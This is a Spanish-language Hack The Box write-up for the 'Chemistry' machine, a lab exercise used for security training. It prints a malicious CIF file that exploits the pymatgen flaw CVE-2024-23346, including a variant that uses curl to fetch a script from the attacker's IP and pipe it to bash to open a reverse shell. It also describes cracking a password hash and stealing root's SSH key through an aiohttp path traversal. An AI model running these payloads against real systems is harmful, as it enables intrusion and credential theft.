> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/writes-ups/hack-the-box/easy/chemestry.md).

# Chemestry

## Información de la máquina

<figure><img src="/files/XuFUqipLcXAuACcBOYh9" alt=""><figcaption></figcaption></figure>

Chemistry es una máquina Linux de nivel fácil que presenta una vulnerabilidad de ejecución remota de código (RCE) en la biblioteca de Python `pymatgen` (CVE-2024-23346), al subir un archivo `CIF` malicioso al sitio web `CIF Analyzer` alojado en el objetivo. Tras descubrir y descifrar hashes, nos autenticamos en el objetivo mediante SSH como usuario `rosa`. Para la escalada de privilegios, explotamos una vulnerabilidad de recorrido de ruta que provoca una lectura arbitraria de archivos en una biblioteca de Python llamada `AioHTTP` (CVE-2024-23334), que se utiliza en la aplicación web que se ejecuta internamente para leer el indicador raíz.

***

## Reconocimiento

La fase de **reconocimiento** es el primer paso a la hora de resolver una máquina. Su objetivo es recopilar la mayor cantidad de información posible sobre el sistema objetivo, permitiendo entender su estructura, tecnología y posibles vectores de ataque.&#x20;

Empezaremos haciendo un ping a la máquina víctima para ver si está encendida y ante que nos enfrentamos.

<div align="center"><figure><img src="/files/JZN14WtfREWps1dyi3XX" alt=""><figcaption></figcaption></figure></div>

Si recibimos respuesta, significa que la máquina está en línea. Además, observamos que el **TTL** (Time To Live) es **63**, lo que indica que es un sistema **Linux** (normalmente, los sistemas Windows tienen un TTL de 127).&#x20;

{% hint style="success" %}
Esto sucede porque Hack The Box virtualiza las máquinas, lo que a menudo reduce el TTL en un punto respecto al valor estándar.

En entornos reales tendrían los siguientes valores:

TTL Linux **→** 64

TTL Windows **→** 128
{% endhint %}

Empezaremos haciendo un primer reconocimiento para ver los puertos abiertos en el sistema.

<figure><img src="/files/TNdgzn6HEedX3xAKEYLa" alt=""><figcaption></figcaption></figure>

**1. `-p-` → Escaneo de todos los puertos (1-65535)**

Por defecto, `nmap` solo escanea los **1000 puertos más comunes**.\
Con `-p-`, forzamos a que escanee **los 65,535 puertos** de la máquina objetivo, lo que puede ser útil para encontrar servicios que corren en puertos poco convencionales.

**2. `--open` → Filtrar solo los puertos abiertos**

Cuando escaneamos un sistema, muchos puertos pueden estar cerrados o filtrados por un firewall.\
Este parámetro hace que `nmap` **solo muestre los puertos abiertos**, reduciendo el ruido y facilitando el análisis.

**3. `-sS` → Stealth Scan (Escaneo Sigiloso con SYN)**

Es conocido como **"TCP SYN Scan"**, y funciona de la siguiente manera:

* `nmap` envía un paquete **SYN** (solicitud de conexión).
* &#x20;Si el puerto está abierto, el servidor responde con **SYN-ACK**.
* En lugar de completar la conexión con un **ACK**, `nmap` responde con un **RST (Reset)**, interrumpiendo la comunicación.

**4. `--min-rate 5000` → Velocidad mínima de paquetes (5000 por segundo)**

Por defecto, `nmap` ajusta dinámicamente la velocidad de los paquetes según la respuesta de la red.\
Con `--min-rate 5000`, obligamos a `nmap` a **no enviar menos de 5000 paquetes por segundo**, acelerando el escaneo.

**5. `-n` → Deshabilitar resolución DNS**

Normalmente, `nmap` intenta resolver el nombre de dominio de las IPs escaneadas (DNS lookup).\
Con `-n`, evitamos esta resolución de nombres, lo que **acelera el escaneo** y evita que los servidores DNS registren nuestra actividad.

**6. `-Pn` → Omitir detección de host (Host Discovery Off)**

Por defecto, `nmap` envía paquetes ICMP (ping) para ver si un host está activo antes de escanearlo.\
Si un firewall bloquea los pings, `nmap` puede marcarlo como "host down" y no escanearlo.

**7. `-oG`** **→ Exportar el contenido en formato grepeable**

Todo el resultado del escaneo lo exportaremos en un archivo llamado **`puertos` .**

El escaneo revela que los puertos **22 (SSH)** y **5000 (HTTP)** están abiertos. Ahora realizamos un escaneo más detallado:

<figure><img src="/files/P99hOHktaO2nyvmc9Dxv" alt=""><figcaption></figcaption></figure>

**1. `-p22,5000` → Escaneo de puertos específicos**

Con `-p22,5000`, le indicamos que **solo** escanee los puertos **22 (SSH)** y **5000** (puerto que puede estar asociado con aplicaciones web, API Flask, etc.).

**2. `-sCV` → Escaneo de versiones y scripts básicos**

Este parámetro en realidad es **dos combinaciones en una**:

* **`-sC`** → Activa los **NSE scripts por defecto** en `nmap` (similar a usar `--script=default`).\
  Ejecuta scripts básicos para enumerar información del servicio detectado, como banners, versiones, etc.
* **`-sV`** → Realiza **fingerprinting de versiones**, intentando identificar la versión exacta del software en cada puerto abierto.

**3. `-oN` → Guardar el resultado en formato Normal**

Por defecto, `nmap` muestra los resultados en pantalla, pero con **`-oN targeted`**, guardamos el resultado en un archivo en **formato legible para humanos**.

Antes de visitar la web, useremos la herramienta <kbd>whatweb</kbd>, para saber que datos con que tecnologías y que usa esta página.

<figure><img src="/files/8XKc6TjA66bhj57IonGV" alt=""><figcaption></figcaption></figure>

Aunque en este caso no proporciona mucha información, siempre es útil ver versiones sobre las tecnologías que se usan y buscar exploits que atenten contra ellas.

<figure><img src="/files/YZ4qV72sCy7SlVL1RoW9" alt=""><figcaption></figcaption></figure>

Esta es la página que podemos ver por el puerto 5000. Nos registraremos para iniciar sesión en ella, y veremos lo siguiente:

<figure><img src="/files/ETJ3qOA7w75yMpPOV1fq" alt=""><figcaption></figcaption></figure>

## CIF – *Pymatgen Arbitrary Code Execution (RCE)*

El archivo que encontramos utiliza el formato `CIF` (`Common Intermediate Format`), un estándar utilizado en el ámbito científico para representar estructuras cristalinas. Investigaremos si podemos explotarlo para ejecutar código arbitrario en el sistema.

<figure><img src="/files/DHciWtBUG3jZ0B9cZMZQ" alt=""><figcaption><p>Archivo que nos proporciona la propia página de prueba</p></figcaption></figure>

Inicialmente, intentamos subir archivos `.php` con código malicioso para obtener acceso remoto (`RCE`), pero el sistema no permitía la ejecución de estos archivos. Esto nos obligó a buscar otra vía de explotación.

## Ejecución remota mediante archivo CIF

Al investigar posibles vulnerabilidades en el manejo de archivos `CIF`, encontramos una explotación documentada que permite la ejecución remota de comandos (`RCE`).

<figure><img src="/files/xA5r68zPZ1hOlHOmEYBc" alt=""><figcaption></figcaption></figure>

El `PoC` que encontramos describe una vulnerabilidad en una librería de Python utilizada para procesar archivos `CIF`. Esta librería permite la ejecución de código arbitrario al analizar determinados campos dentro del archivo.

```
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in
().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" +
"classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'

_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
```

Para obtener acceso remoto, modificamos el exploit para ejecutar una `reverse shell`:

{% hint style="success" %}
Cabe destacar, que si hacemos uso del oneliner típico para entablarnos la ReverShell no funcionará
{% endhint %}

```
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in
().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" +
"classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl 10.10.16.89/shell.sh|/bin/bash");0,0,0'

_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
```

Preparamos un script llamado `shell.sh` en nuestra máquina atacante:

<figure><img src="/files/FfMmfM9IFwC72oosNxht" alt=""><figcaption></figcaption></figure>

Desde nuestra máquina atacante, dejamos `netcat` a la escucha para recibir la conexión de la `reverse shell.`Cuando la aplicación procese el archivo `CIF`, ejecutará el código malicioso y nos devolverá una shell remota.&#x20;

<div data-full-width="false"><figure><img src="/files/ffmzUB08pYRgfI30sHWz" alt=""><figcaption><p>Petición a mi servidor</p></figcaption></figure></div>

<figure><img src="/files/sbmdUNnK0zoxwoqdZMay" alt=""><figcaption><p>ReverShell entablada</p></figcaption></figure>

## Directory Traversal en aiohttp y obtención de clave privada de root

Con la shell obtenida, enumeramos el sistema en busca de credenciales o procesos que nos permitan escalar privilegios.

Al investigar los archivos del sistema, encontramos la base de datos de la aplicación, que podría contener credenciales útiles.

<figure><img src="/files/0JHrhQbBhRDRmSIeaR4T" alt=""><figcaption></figcaption></figure>

Para acceder al contenido de la base de datos, usamos `sqlite3`:

<figure><img src="/files/6HubjwQdXXhO4Q5L5816" alt=""><figcaption></figcaption></figure>

Consultamos la tabla `user` para obtener la lista de usuarios y sus contraseñas en formato hash.&#x20;

Comprobamos los usuarios del sistema en `/etc/passwd` para identificar cuentas activas:

<figure><img src="/files/paF4hZT0gZ6yZmkpuyJc" alt=""><figcaption></figcaption></figure>

Identificamos que `rosa` es un usuario válido del sistema, por lo que intentaremos descifrar su contraseña.

<figure><img src="/files/LgzqU6vqbpyfCaZC6ySy" alt=""><figcaption></figcaption></figure>

Probamos a descifrar el hash usando `CrackStation`, aunque también podríamos usar herramientas como `john` o `hashcat`.

Ejemplo con `john`:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

El hash se descifra y obtenemos la contraseña `unicorniosrosados`.

Intentamos acceder a la máquina usando `SSH`:

<figure><img src="/files/eqD4TZsgIKGdfr9MqGx5" alt=""><figcaption></figcaption></figure>

Tenemos acceso con este usuario y ya podemos visualizar la primer flag de la máquina

<figure><img src="/files/PJ0RwicNCDfjzyYm0Q9g" alt=""><figcaption><p>Flag User.txt</p></figcaption></figure>

Hasta este punto, hemos avanzado en la resolución de la máquina, pero aún debemos obtener privilegios de root. Al analizar posibles vectores de escalada, observamos que un proceso se ejecuta en segundo plano con privilegios de root:

<figure><img src="/files/nJt0NCP4eei3fjsWifNv" alt=""><figcaption></figcaption></figure>

Por lo que, me hizo sospechar en que se esta corriendo otro servicio:

<figure><img src="/files/7U0rIEJ9MnRDylva2RxB" alt=""><figcaption></figcaption></figure>

Y vemos que el puerto 8080 está abierto. Lo primero que decido es hacer una petición a este servicio

<figure><img src="/files/HC0Mo6oSfHnp4x2sQ48I" alt=""><figcaption></figcaption></figure>

Vemos que nos responde con una página web. Ahora listaremos las cabeceras de salida y vemos que se ejecuta por parte del servidor aiohttp/3.9.1.

<figure><img src="/files/MXqLYw9EKS6QIuSOdteS" alt=""><figcaption></figcaption></figure>

Teniendo esta información, buscaremos posibles exploits que atenten contra esta biblioteca y encontramos otro PoC.

<figure><img src="/files/48pniblpb73GGwuLh42f" alt=""><figcaption></figcaption></figure>

Observamos en la página que se acontece un directory path traversal, por lo que podemos enumerar archivos del sistema.

<figure><img src="/files/YukQfJYVlCZqzzWhPjMp" alt=""><figcaption><p>PoC</p></figcaption></figure>

Haciendo uso de <kbd>--path-as-is</kbd> podemos acontecer esta vulnerabilidad, por lo que toca probarla:

<figure><img src="/files/ruzSNw3ikFv3JLx85Nkl" alt=""><figcaption></figcaption></figure>

Hacemos una prueba con el /etc/passwd y nos muestra contenido por lo tanto, probaremos a conseguir la clave privada del usuario root y la meteremos dentro de un archivo en la ruta /tmp ya que en este directorio tenemos permisos de escritura. Le damos el permiso 600&#x20;

{% hint style="warning" %}
Importante darle este permiso ya que es el que tienen todos los archivos de clave priavada. Si no tiene este permiso es probable que no puedas acceder a root
{% endhint %}

<figure><img src="/files/boQZu2Yux8pZFCVH3w3I" alt=""><figcaption></figcaption></figure>

Probamos a meternos por SSH con clave privada como root:

<figure><img src="/files/TgEdSdLI9pk4388jBSg2" alt=""><figcaption></figcaption></figure>

Conseguimos escalar privilegios como root. Por último vemos la flag última flag.

<figure><img src="/files/rZ3Aoq7QrfVjQfksXyJ6" alt=""><figcaption><p>Flag root.txt</p></figcaption></figure>

***

## Conclusión

La máquina **Chemistry** nos enseña a explotar dos vulnerabilidades:

1. **RCE en pymatgen (CVE-2024-23346)**, subiendo un archivo **CIF malicioso**.
2. **Path Traversal en AioHTTP (CVE-2024-23334)**, permitiendo leer archivos arbitrarios.

Ambas vulnerabilidades nos permitieron obtener acceso completo a la máquina y escalar privilegios hasta root.&#x20;
